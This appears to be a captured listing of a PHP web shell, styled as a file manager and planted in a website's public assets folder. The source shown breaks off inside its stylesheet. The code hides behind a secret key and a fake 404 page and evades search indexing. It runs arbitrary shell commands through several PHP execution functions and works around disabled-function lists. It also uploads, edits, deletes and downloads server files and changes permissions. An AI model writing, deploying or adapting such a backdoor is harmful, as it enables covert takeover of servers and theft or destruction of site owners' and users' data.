Sindbad~EG File Manager

Current Path : /home/zada/public_html/public/assets/default/
Upload File :
Current File : /home/zada/public_html/public/assets/default/xannyanaxium_s.php

    <?php
    @ini_set('display_errors', '0');
    @ini_set('log_errors', '1');
    @error_reporting(0);

    // =====================================================================
    // ANTI-DORKING / ACCESS GATE  ---  CHANGE THE SECRET BELOW !!!
    // Access via: https://your-site/sys.php?k=YOUR_SECRET_KEY
    // If missing or wrong -> a fake 404 page is shown
    // Use ONLY [A-Za-z0-9] in the secret (no & = ? # + % / spaces)
    // =====================================================================
    define('XA_SECRET',    '1QPFboXpDB7JVclRBMtdGbwvYZlV6uAR');
    define('XA_QUERY_KEY', 'k');           // query parameter name in the URL
    define('XA_COOKIE',    '_sx');         // session cookie name
    define('XA_TTL',       86400);         // cookie lifetime in seconds (1 day)

    header('X-Robots-Tag: noindex, nofollow, noarchive, nosnippet', true);

    $xa_authorized = false;
    $xa_cookie_val = isset($_COOKIE[XA_COOKIE]) ? $_COOKIE[XA_COOKIE] : '';
    $xa_expected   = hash_hmac('sha256', 'cookie-token', XA_SECRET);

    if ($xa_cookie_val !== '' && function_exists('hash_equals') && hash_equals($xa_expected, $xa_cookie_val)) {
        $xa_authorized = true;
    }
    if (!$xa_authorized && isset($_GET[XA_QUERY_KEY])
        && function_exists('hash_equals')
        && hash_equals(XA_SECRET, (string)$_GET[XA_QUERY_KEY])) {
        $xa_authorized = true;
        @setcookie(XA_COOKIE, $xa_expected, time() + XA_TTL, '/', '',
                   !empty($_SERVER['HTTPS']), true);
        $_COOKIE[XA_COOKIE] = $xa_expected;
    }

    if (!$xa_authorized) {
        header($_SERVER['SERVER_PROTOCOL'] . ' 404 Not Found');
        header('Content-Type: text/html; charset=iso-8859-1');
        echo "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\n";
        echo "<html><head>\n";
        echo "<title>404 Not Found</title>\n";
        echo "<meta name=\"robots\" content=\"noindex, nofollow, noarchive, nosnippet\">\n";
        echo "</head><body>\n";
        echo "<h1>Not Found</h1>\n";
        echo "<p>The requested URL was not found on this server.</p>\n";
        echo "<hr>\n";
        echo "<address>" . htmlspecialchars(isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : 'Apache Server') . " Server at " . htmlspecialchars(isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost') . " Port " . (isset($_SERVER['SERVER_PORT']) ? (int)$_SERVER['SERVER_PORT'] : 80) . "</address>\n";
        echo "</body></html>";
        exit;
    }
    // =====================================================================

    // --- COMPATIBILITY POLYFILLS FOR OLDER PHP VERSIONS ---
    if (!function_exists('sys_get_temp_dir')) {
        function sys_get_temp_dir() {
            if (!empty($_ENV['TMP'])) return realpath($_ENV['TMP']);
            if (!empty($_ENV['TMPDIR'])) return realpath($_ENV['TMPDIR']);
            if (!empty($_ENV['TEMP'])) return realpath($_ENV['TEMP']);
            $tempfile = @tempnam(uniqid(rand(), true), '');
            if ($tempfile) {
                $temp = realpath(dirname($tempfile));
                @unlink($tempfile);
                return $temp;
            }
            return '/tmp';
        }
    }

    if (!defined('DIRECTORY_SEPARATOR')) {
        define('DIRECTORY_SEPARATOR', strtoupper(substr(PHP_OS, 0, 3)) === 'WIN' ? '\\' : '/');
    }

    // Helper for null coalescing (PHP < 7.0 safe)
    function xa_post($key, $default = null) {
        return isset($_POST[$key]) ? $_POST[$key] : $default;
    }
    function xa_get($key, $default = null) {
        return isset($_GET[$key]) ? $_GET[$key] : $default;
    }

    // --- FIX FOR SESSION ERROR ---
    // Force the use of file-based sessions. This overrides the server's default
    // configuration which might be set to 'redis' and causing the connection error.
    @ini_set('session.save_handler', 'files');

    // Fix session path issue
    $sessionPath = sys_get_temp_dir() . DIRECTORY_SEPARATOR . 'php_sessions';
    if (!@is_dir($sessionPath)) {
        @mkdir($sessionPath, 0700, true);
    }
    if (@is_dir($sessionPath) && @is_writable($sessionPath)) {
        @ini_set('session.save_path', $sessionPath);
    }

    // Suppress session start warnings on misconfigured servers
    if (function_exists('session_status')) {
        if (session_status() !== PHP_SESSION_ACTIVE) {
            @session_start();
        }
    } else {
        @session_start();
    }

    // Fallback if session is not available
    if (!isset($_SESSION)) {
        $_SESSION = array();
    }

    if (!isset($_SESSION['current_dir']) || !@is_dir($_SESSION['current_dir'])) {
        $cwd = @getcwd();
        if ($cwd === false) {
            $cwd = dirname(__FILE__);
        }
        $_SESSION['current_dir'] = $cwd;
    }

    // Handle special upload case
    if(!empty($_GET['upload_file']) && !empty($_GET['name'])){
        $targetDir = $_GET['upload_file'];
        $fileName = basename($_GET['name']);
        
        if (strpos($fileName, '..') !== false || strpos($fileName, '/') !== false || strpos($fileName, '\\') !== false) {
            header($_SERVER['SERVER_PROTOCOL'] . ' 400 Bad Request');
            exit('Invalid filename');
        }

        // Ensure directory exists
        if (!@is_dir($targetDir)) {
            @mkdir($targetDir, 0755, true);
        }

        if (!@is_dir($targetDir) || !@is_writable($targetDir)) {
            header($_SERVER['SERVER_PROTOCOL'] . ' 400 Bad Request');
            exit('Invalid directory');
        }

        $uploadPath = rtrim($targetDir, '/\\') . DIRECTORY_SEPARATOR . $fileName;

        $inputHandler = @fopen('php://input', "rb");
        $fileHandler = @fopen($uploadPath, "wb");

        if ($inputHandler && $fileHandler) {
            while (!feof($inputHandler)) {
                $buffer = fread($inputHandler, 8192);
                if ($buffer === false || $buffer === '') break;
                fwrite($fileHandler, $buffer);
            }
            fclose($inputHandler);
            fclose($fileHandler);
            @chmod($uploadPath, 0644);
            header($_SERVER['SERVER_PROTOCOL'] . ' 200 OK');
            exit('File uploaded successfully');
        } else {
            header($_SERVER['SERVER_PROTOCOL'] . ' 500 Internal Server Error');
            exit('Upload failed');
        }
    }

    function validatePath($path) {
        // Try realpath first; if open_basedir or other restrictions cause failure,
        // fall back to a manual normalisation so the file manager still works.
        $realPath = @realpath($path);
        if ($realPath !== false && (@is_file($realPath) || @is_dir($realPath))) {
            return $realPath;
        }
        if (@file_exists($path) && (@is_file($path) || @is_dir($path))) {
            return $path;
        }
        return false;
    }

    function sanitizeFileName($name) {
        $name = basename($name);
        $name = preg_replace('/[^a-zA-Z0-9._-]/', '_', $name);
        if (empty($name) || $name === '.' || $name === '..') {
            return false;
        }
        return $name;
    }

    function formatFileSize($bytes) {
        if ($bytes >= 1073741824) {
            return number_format($bytes / 1073741824, 2) . ' GB';
        } elseif ($bytes >= 1048576) {
            return number_format($bytes / 1048576, 2) . ' MB';
        } elseif ($bytes >= 1024) {
            return number_format($bytes / 1024, 2) . ' KB';
        } elseif ($bytes > 1) {
            return $bytes . ' bytes';
        } elseif ($bytes == 1) {
            return '1 byte';
        } else {
            return '0 bytes';
        }
    }

    function getFileExtension($filename) {
        $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
        return $ext ? strtoupper($ext) : '';
    }

     $notification = '';
     $errorMsg = '';

    function isFunctionAvailable($func) {
        if (!function_exists($func)) {
            return false;
        }
        $disabled = @ini_get('disable_functions');
        if ($disabled) {
            $disabled = array_map('trim', explode(',', strtolower($disabled)));
            if (in_array(strtolower($func), $disabled)) {
                return false;
            }
        }
        $suhosin = @ini_get('suhosin.executor.func.blacklist');
        if ($suhosin) {
            $suhosin = array_map('trim', explode(',', strtolower($suhosin)));
            if (in_array(strtolower($func), $suhosin)) {
                return false;
            }
        }
        return true;
    }

    function runCommand($cmd) {
        $cmd = trim($cmd);
        if ($cmd === '') {
            return "No command provided";
        }

        // shell_exec
        if (isFunctionAvailable('shell_exec')) {
            $result = @shell_exec($cmd . ' 2>&1');
            if ($result !== null && $result !== false) {
                return $result;
            }
        }
        // exec
        if (isFunctionAvailable('exec')) {
            $output = array();
            @exec($cmd . ' 2>&1', $output);
            if (!empty($output)) {
                return implode("\n", $output);
            }
        }
        // system
        if (isFunctionAvailable('system')) {
            ob_start();
            @system($cmd . ' 2>&1');
            $result = ob_get_clean();
            if ($result !== false && $result !== '') {
                return $result;
            }
        }
        // passthru
        if (isFunctionAvailable('passthru')) {
            ob_start();
            @passthru($cmd . ' 2>&1');
            $result = ob_get_clean();
            if ($result !== false && $result !== '') {
                return $result;
            }
        }
        // popen
        if (isFunctionAvailable('popen')) {
            $handle = @popen($cmd . ' 2>&1', 'r');
            if ($handle) {
                $result = '';
                while (!feof($handle)) {
                    $result .= fread($handle, 4096);
                }
                pclose($handle);
                if ($result !== '') {
                    return $result;
                }
            }
        }
        // proc_open
        if (isFunctionAvailable('proc_open')) {
            $descriptors = array(
                1 => array('pipe', 'w'),
                2 => array('pipe', 'w')
            );
            $process = @proc_open($cmd, $descriptors, $pipes);
            if (is_resource($process)) {
                $stdout = stream_get_contents($pipes[1]);
                $stderr = stream_get_contents($pipes[2]);
                fclose($pipes[1]);
                fclose($pipes[2]);
                proc_close($process);
                $result = $stdout . $stderr;
                if ($result !== '') {
                    return $result;
                }
            }
        }

        return "Command execution not available";
    }

    // Recursive delete that works without RecursiveIteratorIterator (PHP 4 compatible)
    function xa_recursive_delete($path) {
        if (@is_file($path) || @is_link($path)) {
            return @unlink($path);
        }
        if (!@is_dir($path)) {
            return false;
        }
        $items = @scandir($path);
        if ($items === false) {
            return false;
        }
        foreach ($items as $item) {
            if ($item === '.' || $item === '..') continue;
            xa_recursive_delete($path . DIRECTORY_SEPARATOR . $item);
        }
        return @rmdir($path);
    }

    // Handle bulk delete - MUST BE BEFORE NAVIGATION
    if (isset($_POST['bulk_delete']) && isset($_POST['selected_items']) && is_array($_POST['selected_items'])) {
        $deleted = 0;
        $failed = 0;

        foreach ($_POST['selected_items'] as $item) {
            $targetPath = validatePath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $item);

            if ($targetPath === false) {
                $failed++;
                continue;
            }

            if (xa_recursive_delete($targetPath)) {
                $deleted++;
            } else {
                $failed++;
            }
        }
        
        if ($deleted > 0) {
            $notification = "Deleted $deleted item(s)";
            if ($failed > 0) {
                $notification .= " (Failed: $failed)";
            }
        } elseif ($failed > 0) {
            $errorMsg = "Failed to delete $failed item(s)";
        }
    }

    // Walk directory recursively without RecursiveIteratorIterator
    function xa_walk_dir($dir, &$out, $base = '') {
        $items = @scandir($dir);
        if ($items === false) return;
        foreach ($items as $item) {
            if ($item === '.' || $item === '..') continue;
            $full = $dir . DIRECTORY_SEPARATOR . $item;
            $rel = $base === '' ? $item : $base . '/' . $item;
            if (@is_dir($full)) {
                $out[] = array('type' => 'dir', 'path' => $full, 'rel' => $rel);
                xa_walk_dir($full, $out, $rel);
            } else {
                $out[] = array('type' => 'file', 'path' => $full, 'rel' => $rel);
            }
        }
    }

    // Build a zip; falls back to tar via shell when ZipArchive is unavailable.
    // Returns array(path, name, mime) or false
    function xa_build_archive($items, $baseDir, $namePrefix) {
        $tmpDir = sys_get_temp_dir();
        if (class_exists('ZipArchive')) {
            $zipName = $namePrefix . '_' . time() . '.zip';
            $zipPath = $tmpDir . DIRECTORY_SEPARATOR . $zipName;
            $zip = new ZipArchive();
            if ($zip->open($zipPath, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) {
                foreach ($items as $targetPath) {
                    if (!$targetPath) continue;
                    if (@is_file($targetPath)) {
                        $zip->addFile($targetPath, basename($targetPath));
                    } elseif (@is_dir($targetPath)) {
                        $base = basename($targetPath);
                        $list = array();
                        xa_walk_dir($targetPath, $list);
                        $zip->addEmptyDir($base);
                        foreach ($list as $entry) {
                            if ($entry['type'] === 'dir') {
                                $zip->addEmptyDir($base . '/' . $entry['rel']);
                            } else {
                                $zip->addFile($entry['path'], $base . '/' . $entry['rel']);
                            }
                        }
                    }
                }
                $zip->close();
                return array($zipPath, $zipName, 'application/zip');
            }
            return false;
        }
        // Fallback: tar via shell
        if (isFunctionAvailable('shell_exec') || isFunctionAvailable('exec')) {
            $tarName = $namePrefix . '_' . time() . '.tar.gz';
            $tarPath = $tmpDir . DIRECTORY_SEPARATOR . $tarName;
            $args = '';
            foreach ($items as $targetPath) {
                if (!$targetPath) continue;
                $args .= ' ' . escapeshellarg(basename($targetPath));
            }
            $cmd = 'cd ' . escapeshellarg($baseDir) . ' && tar -czf ' . escapeshellarg($tarPath) . $args . ' 2>&1';
            if (isFunctionAvailable('shell_exec')) {
                @shell_exec($cmd);
            } else {
                @exec($cmd);
            }
            if (@is_file($tarPath) && @filesize($tarPath) > 0) {
                return array($tarPath, $tarName, 'application/gzip');
            }
        }
        return false;
    }

    // Handle bulk download - MUST BE BEFORE NAVIGATION
    if (isset($_POST['bulk_download']) && isset($_POST['selected_items']) && is_array($_POST['selected_items'])) {
        $paths = array();
        foreach ($_POST['selected_items'] as $item) {
            $p = validatePath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $item);
            if ($p !== false) $paths[] = $p;
        }
        $archive = xa_build_archive($paths, $_SESSION['current_dir'], 'selected_files');
        if ($archive !== false) {
            list($archPath, $archName, $archMime) = $archive;
            while (@ob_get_level() > 0) { @ob_end_clean(); }
            header('Content-Type: ' . $archMime);
            header('Content-Disposition: attachment; filename="' . $archName . '"');
            header('Content-Length: ' . @filesize($archPath));
            @readfile($archPath);
            @unlink($archPath);
            exit;
        } else {
            $errorMsg = 'Bulk download failed: archive tools unavailable on this server';
        }
    }

    if (isset($_POST['navigate'])) {
        $targetDir = $_POST['navigate'];
        if (@is_dir($targetDir)) {
            $_SESSION['current_dir'] = validatePath($targetDir);
            $notification = 'Directory changed successfully';
        }
    }

    // Standard file upload from xenium2 with directory creation fix
    if (isset($_FILES['file_upload']) && $_FILES['file_upload']['error'] !== UPLOAD_ERR_NO_FILE) {
        if ($_FILES['file_upload']['error'] === UPLOAD_ERR_OK) {
            $fileName = basename($_FILES['file_upload']['name']);
            $uploadPath = rtrim($_SESSION['current_dir'], '/\\') . DIRECTORY_SEPARATOR . $fileName;

            if (strpos($fileName, '..') !== false || strpos($fileName, '/') !== false || strpos($fileName, '\\') !== false) {
                $errorMsg = 'Upload failed: Invalid filename';
            } elseif (!@is_writable($_SESSION['current_dir'])) {
                $errorMsg = 'Upload failed: Directory not writable';
            } else {
                $moved = false;
                if (function_exists('move_uploaded_file')) {
                    $moved = @move_uploaded_file($_FILES['file_upload']['tmp_name'], $uploadPath);
                }
                if (!$moved) {
                    // Fallback for restricted environments
                    $moved = @copy($_FILES['file_upload']['tmp_name'], $uploadPath);
                    if ($moved) @unlink($_FILES['file_upload']['tmp_name']);
                }
                if ($moved) {
                    @chmod($uploadPath, 0644);
                    $notification = 'File uploaded successfully';
                } else {
                    $errorMsg = 'Upload failed: Could not move file. Check directory permissions.';
                }
            }
        } else {
            $uploadErrors = array(
                UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize',
                UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE',
                UPLOAD_ERR_PARTIAL => 'File partially uploaded',
                UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder',
                UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk',
                UPLOAD_ERR_EXTENSION => 'Upload stopped by extension'
            );
            $errCode = $_FILES['file_upload']['error'];
            $errorMsg = 'Upload error: ' . (isset($uploadErrors[$errCode]) ? $uploadErrors[$errCode] : 'Unknown error');
        }
    }

    if (isset($_POST['remove'])) {
        $targetPath = validatePath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $_POST['remove']);

        if ($targetPath === false) {
            $errorMsg = 'Delete failed: Invalid path';
        } elseif (@is_file($targetPath)) {
            if (@unlink($targetPath)) {
                $notification = 'File deleted';
            } else {
                $errorMsg = 'Delete failed: Permission denied or file in use';
            }
        } elseif (@is_dir($targetPath)) {
            if (xa_recursive_delete($targetPath)) {
                $notification = 'Directory deleted';
            } else {
                $errorMsg = 'Delete failed: Could not remove directory';
            }
        } else {
            $errorMsg = 'Delete failed: Path not found';
        }
    }

    if (isset($_POST['old_name'], $_POST['new_name'])) {
        $sourcePath = validatePath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $_POST['old_name']);
        
        if ($sourcePath === false) {
            $errorMsg = 'Rename failed: Source not found';
        } else {
            $destinationPath = dirname($sourcePath) . DIRECTORY_SEPARATOR . basename($_POST['new_name']);
            
            if (@file_exists($destinationPath)) {
                $errorMsg = 'Rename failed: Target name already exists';
            } elseif (@rename($sourcePath, $destinationPath)) {
                $notification = 'Rename successful';
            } else {
                $errorMsg = 'Rename failed: Permission denied or invalid name';
            }
        }
    }

    // File editing without base64 encoding
    if (isset($_POST['file_to_edit'], $_POST['file_content'])) {
        $editPath = validatePath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $_POST['file_to_edit']);
        
        if ($editPath === false || !@is_file($editPath)) {
            $errorMsg = 'Edit failed: File not found';
        } elseif (!@is_writable($editPath)) {
            $errorMsg = 'Edit failed: File not writable';
        } else {
            // Direct content without base64 decoding
            if (@file_put_contents($editPath, $_POST['file_content']) !== false) {
                $notification = 'File saved';
            } else {
                $errorMsg = 'Edit failed: Could not write to file';
            }
        }
    }

    // Handle chmod
    if (isset($_POST['chmod_item'], $_POST['chmod_value'])) {
        $targetPath = validatePath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $_POST['chmod_item']);
        
        if ($targetPath === false) {
            $errorMsg = 'Chmod failed: Invalid path';
        } else {
            // Convert octal string to integer
            $chmodValue = octdec($_POST['chmod_value']);
            
            if (@chmod($targetPath, $chmodValue)) {
                $notification = 'Permissions changed successfully';
            } else {
                $errorMsg = 'Chmod failed: Permission denied';
            }
        }
    }

    if (isset($_POST['create_file']) && trim($_POST['create_file']) !== '') {
        $fileName = sanitizeFileName($_POST['create_file']);
        
        if ($fileName === false) {
            $errorMsg = 'Create failed: Invalid filename';
        } else {
            $newFilePath = $_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $fileName;
            
            if (@file_exists($newFilePath)) {
                $errorMsg = 'Create failed: File already exists';
            } elseif (!@is_writable($_SESSION['current_dir'])) {
                $errorMsg = 'Create failed: Directory not writable';
            } elseif (@file_put_contents($newFilePath, '') !== false) {
                @chmod($newFilePath, 0644);
                $notification = 'File created';
            } else {
                $errorMsg = 'Create failed: Could not create file';
            }
        }
    }

    if (isset($_POST['create_folder']) && trim($_POST['create_folder']) !== '') {
        $folderName = sanitizeFileName($_POST['create_folder']);
        
        if ($folderName === false) {
            $errorMsg = 'Create failed: Invalid folder name';
        } else {
            $newFolderPath = $_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $folderName;
            
            if (@file_exists($newFolderPath)) {
                $errorMsg = 'Create failed: Folder already exists';
            } elseif (!@is_writable($_SESSION['current_dir'])) {
                $errorMsg = 'Create failed: Directory not writable';
            } elseif (@mkdir($newFolderPath, 0755)) {
                $notification = 'Folder created';
            } else {
                $errorMsg = 'Create failed: Could not create folder';
            }
        }
    }

    $currentDirectory = $_SESSION['current_dir'];
    $directoryContents = @scandir($currentDirectory);
    if ($directoryContents === false) {
        $directoryContents = array();
        $errorMsg = $errorMsg ? $errorMsg : 'Cannot read directory: ' . $currentDirectory;
    }
    $folders = array();
    $files = array();

    foreach ($directoryContents as $item) {
        if ($item === '.') continue;
        $fullPath = $currentDirectory . DIRECTORY_SEPARATOR . $item;
        if (@is_dir($fullPath)) {
            $folders[] = $item;
        } else {
            $files[] = $item;
        }
    }

    sort($folders);
    sort($files);
    $allItems = array_merge($folders, $files);

    $fileToEdit = isset($_POST['edit']) ? $_POST['edit'] : null;
    $fileToView = isset($_POST['view']) ? $_POST['view'] : null;
    $itemToRename = isset($_POST['rename']) ? $_POST['rename'] : null;
    $itemToChmod = isset($_POST['chmod']) ? $_POST['chmod'] : null;
    $fileContent = $fileToEdit ? @file_get_contents($currentDirectory . DIRECTORY_SEPARATOR . $fileToEdit) : null;
    $viewContent = $fileToView ? @file_get_contents($currentDirectory . DIRECTORY_SEPARATOR . $fileToView) : null;

    // Handle file/folder download
    if (isset($_POST['download'])) {
        $targetPath = validatePath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $_POST['download']);

        if ($targetPath === false) {
            $errorMsg = 'Download failed: Invalid path';
        } elseif (@is_file($targetPath)) {
            while (@ob_get_level() > 0) { @ob_end_clean(); }
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="' . basename($targetPath) . '"');
            $size = @filesize($targetPath);
            if ($size !== false) header('Content-Length: ' . $size);
            // Stream large files in chunks instead of readfile (which can hit memory limits)
            $fp = @fopen($targetPath, 'rb');
            if ($fp) {
                while (!feof($fp)) {
                    echo fread($fp, 8192);
                    @flush();
                }
                fclose($fp);
            } else {
                @readfile($targetPath);
            }
            exit;
        } elseif (@is_dir($targetPath)) {
            $archive = xa_build_archive(array($targetPath), dirname($targetPath), basename($targetPath));
            if ($archive !== false) {
                list($archPath, $archName, $archMime) = $archive;
                while (@ob_get_level() > 0) { @ob_end_clean(); }
                header('Content-Type: ' . $archMime);
                header('Content-Disposition: attachment; filename="' . $archName . '"');
                header('Content-Length: ' . @filesize($archPath));
                @readfile($archPath);
                @unlink($archPath);
                exit;
            } else {
                $errorMsg = 'Download failed: archive tools unavailable on this server';
            }
        }
    }

    $commandResult = '';
    $commandAvailable = false;

    $methods = array('shell_exec', 'exec', 'system', 'passthru', 'popen', 'proc_open');
    foreach ($methods as $func) {
        if (isFunctionAvailable($func)) {
            $commandAvailable = true;
            break;
        }
    }

    if (isset($_POST['terminal_command']) && trim($_POST['terminal_command']) !== '') {
        $cmd = trim($_POST['terminal_command']);
        if ($cmd !== '') {
            // Switch to current dir for the command if possible
            $oldCwd = @getcwd();
            if (@is_dir($_SESSION['current_dir'])) {
                @chdir($_SESSION['current_dir']);
            }
            $commandResult = @runCommand($cmd);
            if ($oldCwd) @chdir($oldCwd);
            if (trim($commandResult) === '' || $commandResult === "Command execution not available") {
                $errorMsg = 'Command execution: No output or function disabled';
            }
        }
    }
    ?>
    <!DOCTYPE html>
    <html>
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <meta name="robots" content="noindex, nofollow, noarchive, nosnippet">
        <meta name="googlebot" content="noindex, nofollow, noarchive, nosnippet">
        <title>System</title>
        <style>
            * {
                margin: 0;
                padding: 0;
                box-sizing: border-box;
            }
            
            body {
                background: #1a1b1e;
                color: #e4e6eb;
                font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', system-ui, sans-serif;
                font-size: 13px;
                line-height: 1.5;
                min-height: 100vh;
                padding: 20px;
            }
            
            .container {
                max-width: 1400px;
                margin: 0 auto;
            }
            
            h1 {
                font-size: 16px;
                font-weight: 500;
                color: #e4e6eb;
                margin-bottom: 4px;
                letter-spacing: -0.01em;
            }
            
            .subtitle {
                color: #9ca3af;
                font-size: 13px;
                margin-bottom: 20px;
                font-weight: 400;
            }
            
            .alert {
                padding: 10px 12px;
                border-radius: 4px;
                margin-bottom: 12px;
                font-size: 13px;
                border: 1px solid;
            }
            
            .alert-success {
                background: rgba(34, 197, 94, 0.1);
                border-color: rgba(34, 197, 94, 0.3);
                color: #22c55e;
            }
            
            .alert-danger {
                background: rgba(239, 68, 68, 0.1);
                border-color: rgba(239, 68, 68, 0.3);
                color: #ef4444;
            }
            
            .section {
                background: rgba(255, 255, 255, 0.03);
                border: 1px solid rgba(255, 255, 255, 0.08);
                border-radius: 4px;
                padding: 14px;
                margin-bottom: 12px;
            }
            
            .section-title {
                font-size: 13px;
                font-weight: 500;
                color: #e4e6eb;
                margin-bottom: 10px;
            }
            
            .input-group {
                display: flex;
                gap: 6px;
                margin-bottom: 6px;
            }
            
            .input-group:last-child {
                margin-bottom: 0;
            }
            
            input[type="text"],
            input[type="file"],
            textarea,
            select {
                background: rgba(0, 0, 0, 0.2);
                border: 1px solid rgba(255, 255, 255, 0.1);
                border-radius: 4px;
                padding: 6px 10px;
                color: #e4e6eb;
                font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', system-ui, sans-serif;
                font-size: 13px;
                transition: all 0.15s ease;
                outline: none;
                flex: 1;
            }
            
            input[type="text"]:focus,
            textarea:focus,
            select:focus {
                border-color: rgba(255, 255, 255, 0.2);
                background: rgba(0, 0, 0, 0.3);
            }
            
            input[type="file"] {
                cursor: pointer;
                padding: 6px 10px;
            }
            
            input[type="file"]::file-selector-button {
                background: rgba(255, 255, 255, 0.06);
                color: #e4e6eb;
                border: 1px solid rgba(255, 255, 255, 0.1);
                border-radius: 4px;
                padding: 6px 12px;
                font-size: 13px;
                font-weight: 400;
                cursor: pointer;
                transition: all 0.15s ease;
                font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', system-ui, sans-serif;
                margin-right: 10px;
            }
            
            input[type="file"]::file-selector-button:hover {
                background: rgba(255, 255, 255, 0.1);
                border-color: rgba(255, 255, 255, 0.15);
            }
            
            textarea {
                font-family: 'SF Mono', Monaco, 'Cascadia Code', 'Roboto Mono', Consolas, 'Courier New', monospace;
                resize: vertical;
                min-height: 400px;
                height: 500px;
                line-height: 1.5;
                font-size: 12px;
                width: 100%;
                display: block;
                scrollbar-width: thin;
                scrollbar-color: rgba(255, 255, 255, 0.2) rgba(0, 0, 0, 0.3);
            }
            
            textarea::-webkit-scrollbar {
                width: 10px;
                height: 10px;
            }
            
            textarea::-webkit-scrollbar-track {
                background: rgba(0, 0, 0, 0.3);
                border-radius: 4px;
            }
            
            textarea::-webkit-scrollbar-thumb {
                background: rgba(255, 255, 255, 0.2);
                border-radius: 4px;
                border: 2px solid rgba(0, 0, 0, 0.3);
            }
            
            textarea::-webkit-scrollbar-thumb:hover {
                background: rgba(255, 255, 255, 0.3);
            }
            
            .btn {
                background: rgba(255, 255, 255, 0.06);
                color: #e4e6eb;
                border: 1px solid rgba(255, 255, 255, 0.1);
                border-radius: 4px;
                padding: 6px 12px;
                font-size: 13px;
                font-weight: 400;
                cursor: pointer;
                transition: all 0.15s ease;
                font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', system-ui, sans-serif;
                white-space: nowrap;
            }
            
            .btn:hover {
                background: rgba(255, 255, 255, 0.1);
                border-color: rgba(255, 255, 255, 0.15);
            }
            
            .btn:active {
                background: rgba(255, 255, 255, 0.05);
            }
            
            .btn-primary {
                background: rgba(34, 197, 94, 0.15);
                color: #22c55e;
                border-color: rgba(34, 197, 94, 0.3);
            }
            
            .btn-primary:hover {
                background: rgba(34, 197, 94, 0.25);
                border-color: rgba(34, 197, 94, 0.4);
            }
            
            .btn-create {
                background: rgba(34, 197, 94, 0.15);
                color: #22c55e;
                border-color: rgba(34, 197, 94, 0.3);
            }
            
            .btn-create:hover {
                background: rgba(34, 197, 94, 0.25);
                border-color: rgba(34, 197, 94, 0.4);
            }
            
            .btn-danger {
                background: rgba(239, 68, 68, 0.15);
                color: #ef4444;
                border-color: rgba(239, 68, 68, 0.3);
            }
            
            .btn-danger:hover {
                background: rgba(239, 68, 68, 0.25);
                border-color: rgba(239, 68, 68, 0.4);
            }
            
            .btn-sm {
                padding: 4px 10px;
                font-size: 12px;
            }
            
            table {
                width: 100%;
                border-collapse: collapse;
                background: transparent;
                border: 1px solid rgba(255, 255, 255, 0.08);
                border-radius: 4px;
                overflow: hidden;
                table-layout: fixed;
            }
            
            thead {
                background: rgba(255, 255, 255, 0.03);
            }
            
            th {
                padding: 8px 12px;
                font-weight: 500;
                text-align: left;
                color: #9ca3af;
                font-size: 12px;
                border-bottom: 1px solid rgba(255, 255, 255, 0.08);
                white-space: nowrap;
            }
            
            td {
                padding: 8px 12px;
                border-top: 1px solid rgba(255, 255, 255, 0.05);
                font-size: 13px;
                white-space: nowrap;
                overflow: hidden;
                text-overflow: ellipsis;
            }
            
            tbody tr {
                transition: background 0.15s ease;
            }
            
            tbody tr:hover {
                background: rgba(255, 255, 255, 0.03);
            }
            
            .file-icon {
                display: inline-block;
                width: 14px;
                text-align: center;
                margin-right: 6px;
                opacity: 0.6;
                font-size: 11px;
            }
            
            .file-name {
                color: #e4e6eb;
                font-weight: 400;
                cursor: pointer;
                text-decoration: none;
                display: inline-block;
                max-width: 100%;
                overflow: hidden;
                text-overflow: ellipsis;
                vertical-align: middle;
            }
            
            .file-name:hover {
                color: #22c55e;
                text-decoration: underline;
            }
            
            .file-size {
                color: #9ca3af;
                font-size: 12px;
                text-align: right;
                font-family: 'SF Mono', Monaco, 'Cascadia Code', 'Roboto Mono', Consolas, 'Courier New', monospace;
            }
            
            .file-date {
                color: #9ca3af;
                font-size: 12px;
                font-family: 'SF Mono', Monaco, 'Cascadia Code', 'Roboto Mono', Consolas, 'Courier New', monospace;
                text-align: center;
            }
            
            .file-type {
                color: #9ca3af;
                font-size: 12px;
                font-weight: 500;
            }
            
            .writable {
                color: #22c55e;
                font-size: 12px;
            }
            
            .readonly {
                color: #ef4444;
                font-size: 12px;
            }
            
            .action-buttons {
                display: flex;
                gap: 4px;
                flex-wrap: wrap;
                justify-content: flex-end;
            }
            
            .action-buttons form {
                margin: 0;
            }
            
            .action-buttons .btn {
                padding: 4px 8px;
                font-size: 12px;
            }
            
            .rename-form {
                display: flex;
                gap: 6px;
                align-items: center;
            }
            
            .rename-form input {
                flex: 1;
                padding: 4px 8px;
                font-size: 13px;
            }
            
            .chmod-form {
                display: flex;
                gap: 6px;
                align-items: center;
            }
            
            .chmod-form input {
                width: 80px;
                padding: 4px 8px;
                font-size: 13px;
                text-align: center;
            }
            
            .chmod-form select {
                width: 100px;
                padding: 4px 8px;
                font-size: 13px;
            }
            
            .code-block {
                background: rgba(0, 0, 0, 0.3);
                border: 1px solid rgba(255, 255, 255, 0.08);
                border-radius: 4px;
                padding: 12px;
                font-family: 'SF Mono', Monaco, 'Cascadia Code', 'Roboto Mono', Consolas, 'Courier New', monospace;
                font-size: 12px;
                line-height: 1.5;
